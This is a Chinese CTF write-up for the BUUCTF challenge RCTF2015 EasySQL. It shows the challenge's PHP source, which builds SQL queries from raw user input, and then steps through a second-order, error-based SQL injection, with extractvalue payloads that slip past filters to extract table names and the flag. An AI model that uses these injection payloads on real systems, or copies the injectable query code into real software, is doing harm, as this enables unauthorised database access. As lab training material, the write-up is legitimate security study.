60,【1】BUUCF web [RCTF2015]EasySQL1

先查看源码

1,changepwd(修改密码)

php 复制代码
<?php
// 开启会话,以便使用会话变量
session_start();

// 设置页面的内容类型为 HTML 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");


// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个表单,用于用户输入旧密码和新密码
echo '<form action="" method="post"><p>oldpass: <input type="text" name="oldpass" /></p><p>newpass: <input type="text" name="newpass" /></p><input type="submit" value="Submit" /></form>';

// 检查是否提交了旧密码和新密码
if (isset($_POST['oldpass']) && isset($_POST['newpass'])) {
    // 将用户输入的旧密码进行 MD5 哈希处理
    $oldpass = md5($_POST['oldpass']);
    // 将用户输入的新密码进行 MD5 哈希处理
    $newpass = md5($_POST['newpass']);
    // 获取当前登录用户的用户名,存储在会话中
    $username = $_SESSION['username'];
    // 构建 SQL 语句,用于更新用户的密码,使用用户输入的旧密码验证用户身份
    $sql = "update users set pwd='$newpass' where name=\"$username\" and pwd='$oldpass'";
    // var_dump($sql);
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询是否成功执行
    if ($query) {
        // 如果查询成功,退出脚本,可根据需要修改为更有意义的操作,如显示成功消息
        exit('');
    } else {
        // 如果查询失败,输出 MySQL 错误信息并终止脚本
        die(mysql_error());
    }
}
?>

此文件表明会对输入的用户名和密码进行MD5哈希处理

所以数据库中存储的是MD5哈希值

查询成功,此文件执行结束,如果失败,会输出MySQL错误信息

好像是报错注入

2,config(配置文件)

php 复制代码
<?php
// 定义数据库主机地址和端口号
$dbhost = 'localhost:3306';
// 定义数据库用户名
$dbuser = 'root';
// 定义数据库密码,这里是空密码
$dbpass = '';
// 使用 mysql_connect 函数尝试连接到数据库服务器,传递主机、用户名和密码作为参数
$conn = mysql_connect($dbhost, $dbuser, $dbpass);


// 选择要使用的数据库,这里选择的是名为 'web_sqli' 的数据库
mysql_select_db('web_sqli');
// 设置字符集为 utf8,确保数据库操作使用 utf8 编码,避免乱码问题
mysql_query('set NAMES utf8');


// 检查是否开启了魔术引号,如果没有开启,则对 POST 和 GET 数据进行转义处理
if (!get_magic_quotes_gpc()) {
    // 遍历 POST 数据,对其中的每个元素进行转义处理
    foreach ($_POST as $key => $value) {
        // 使用 addslashes 函数对值进行转义,防止 SQL 注入
        $_POST[$key] = addslashes($value);
    }
    // 遍历 GET 数据,对其中的每个元素进行转义处理
    foreach ($_GET as $key => $value) {
        // 使用 addslashes 函数对值进行转义,防止 SQL 注入
        $_GET[$key] = addslashes($value);
    }
}
?>

此文件表明数据库用户名为root,密码是空密码

并且检查是否开启了魔术引号,未开启时对post,get数据进行转义处理

3,index(默认首页文件)

php 复制代码
<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 且字符编码为 UTF-8
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 检查是否已经设置了会话中的用户名,这通常表示用户已经登录
if (isset($_SESSION['username'])) {
    // 输出欢迎信息,并显示用户的名字作为一个链接,指向 user.php 页面
    echo "Hi,<a href='user.php'>".$_SESSION['username']."</a>";
    // 输出一个无序列表的开始标签
    echo "<ul>";
    // 输出列表项,链接到 index.php 并传递不同的 title 参数
    echo "<li><a href='index.php?title=lcsg'>良辰诗歌</a></li>";
    echo "<li><a href='index.php?title=wyzb'>网友装逼</a></li>";
    echo "<li><a href='index.php?title=zrtbf'>赵日天不服</a></li>";
    // 输出无序列表的结束标签
    echo "</ul>";

    // 检查是否从 GET 请求中接收到了 title 参数
    if (isset($_GET['title'])) {
        // 获取 GET 请求中的 title 参数的值
        $title = $_GET['title'];
        // 构建一个 SQL 查询语句,根据 title 从 article 表中查询数据
        $sql = "select * from article where title='$title'";
        // 执行 SQL 查询
        $query = mysql_query($sql);
        // 检查查询是否成功执行
        if ($query) {
            // 获取查询结果的一行数据作为关联数组
            $row = mysql_fetch_array($query);
            // 输出查询结果中 content 列的数据
            echo $row['content'];
        }
    }
} else {
    // 如果用户没有登录,输出匿名用户的欢迎信息
    echo "Hi,Anonymous<br>";
    // 输出登录页面的链接
    echo "<a href='./login.php'>LOGIN</a><br>";
    // 输出注册页面的链接
    echo "<a href='./register.php'>REGISTER</a><br>";
}
?>

4,login(登录)

php 复制代码
<?php
// 开始一个新的会话或继续已有的会话
session_start();

// 设置 HTTP 响应头,指定内容类型为 text/html 并使用 UTF-8 编码
header("Content-Type: text/html; charset=UTF-8");

// 引入配置文件,通常包含数据库连接信息等
require_once 'config.php';

// 输出一个 HTML 表单,用户可以在其中输入用户名和密码,表单提交到 login.php 页面,使用 POST 方法
echo '<form action="login.php" method="post"><p>username: <input type="text" name="username" /></p><p>password: <input type="text" name="password" /></p><input type="submit" value="Submit" /></form>';


// 检查是否通过 POST 方法提交了用户名和密码
if (isset($_POST['username']) && isset($_POST['password'])) {
    // 获取用户输入的用户名
    $username = $_POST['username'];
    // 使用 MD5 对用户输入的密码进行哈希处理(这种方式已不安全,建议使用 password_hash 函数)
    $password = md5($_POST['password']);
    // 构建 SQL 查询语句,用于从 users 表中查找匹配的用户名和密码
    $sql = "SELECT * FROM users WHERE name = '$username' and pwd = '$password'";
    // 执行 SQL 查询
    $query = mysql_query($sql);
    // 检查查询结果是否正好有一行(即找到一个匹配的用户)
    if (mysql_num_rows($query) == 1) {
        // 获取查询结果的一行数据
        $row = mysql_fetch_array($query);
        // 将用户名存储在会话中,用于后续页面判断用户是否已登录
        $_SESSION['username'] = $row['name'];
        // 重定向到 index.php 页面
        header('Location: index.php');
        // 终止脚本执行
        die();
    } else {
        // 如果未找到匹配用户,输出登录错误信息并终止脚本
        die('<br>login error');
    }
}
?>

看完这个源码后就看不到了

只能先进靶场了

进入靶场

尝试输入

无效字符串

不管输啥都说无效字符串,,,,,,

后来发现好像是Email出了问题

知道了一个用户名(猜测可以通过新注册一个账号来更改admin账户的密码)

以此来注册一个账号

登录

看到此页面

点击admin#后发现可以更改密码

那就先把admin账号的密码改了

改成123

登录看看

好打脸啊

一开始输admin'说无效字符串后就没输过'了

补上再输一遍

还是错的????????????????????

试试 "

好吧,也是对了,以后菜就多试

先都点进去看看

so,我是什么很贱的人吗,给我看这个

不过通过以上操作,得知存在二次注入

根据源码知道它会报错

而且一开始的操作知道它会过滤

50.【8】BUUCTF WEB HardSql-CSDN博客

参考这篇博客的语句

1,查询库名

admin"^extractvalue(1,concat(0x7e,(select(database()))))#

(#是以get方式提交时使用的,-- -和-- +是以post方式提交时使用的,%23在url处使用)

2,查询表名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('~web_sqli'))))#

???

尝试了一下,是把like过滤了

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

空白???

admin"||extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)='~web_sqli')))#

还是空白?????????

admin"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())))#

把库名带进去就报不出来,那我求库名的操作算什么????

算我。。

3,查询字段名

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='flag')))#

4,查询字段内容

admin"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#

admin"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users')))#

语义未尽

用right让后面的爆出来

admin"^extractvalue(1,right(concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'),32))#

要不我还是去四八(好不容易把括号一组一组对上)

他把right过滤了

admin"^extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name)='users'))))#

终于终于

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users))))#

???还好还好,快结束了

下午学姐刚好讲了正则表达式

admin"^extractvalue(1,concat(0x7e,(select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f'))))#

admin"^extractvalue(1,concat(0x7e,reverse((select(real_flag_1s_here)from(users)where(real_flag_1s_here)regexp('^f')))))#

手动拼一下

flag{090f0996-0d57-4a30-b0d9-92675185411f}

over

笔记

1,该用字典还得用字典

2,extractvalue

3,空格被过滤的题目第一遍就认真注意()的个数,千万别再多一个少一个了

相关推荐
2301_8135995524 分钟前
Go语言怎么做秒杀系统_Go语言秒杀系统实战教程【实用】
jvm·数据库·python
NCIN EXPE5 小时前
redis 使用
数据库·redis·缓存
MongoDB 数据平台5 小时前
为编码代理引入 MongoDB 代理技能和插件
数据库·mongodb
极客on之路5 小时前
mysql explain type 各个字段解释
数据库·mysql
代码雕刻家5 小时前
MySQL与SQL Server的基本指令
数据库·mysql·sqlserver
lThE ANDE5 小时前
开启mysql的binlog日志
数据库·mysql
yejqvow125 小时前
CSS如何控制placeholder文字的颜色_使用--placeholder伪元素
jvm·数据库·python
handler015 小时前
从源码到二进制:深度拆解 Linux 下 C 程序的编译与链接全流程
linux·c语言·开发语言·c++·笔记·学习
电子云与长程纠缠5 小时前
UE5 两种方式解决Decal Actor贴花拉伸问题
学习·ue5·游戏引擎
oLLI PILO5 小时前
nacos2.3.0 接入pgsql或其他数据库
数据库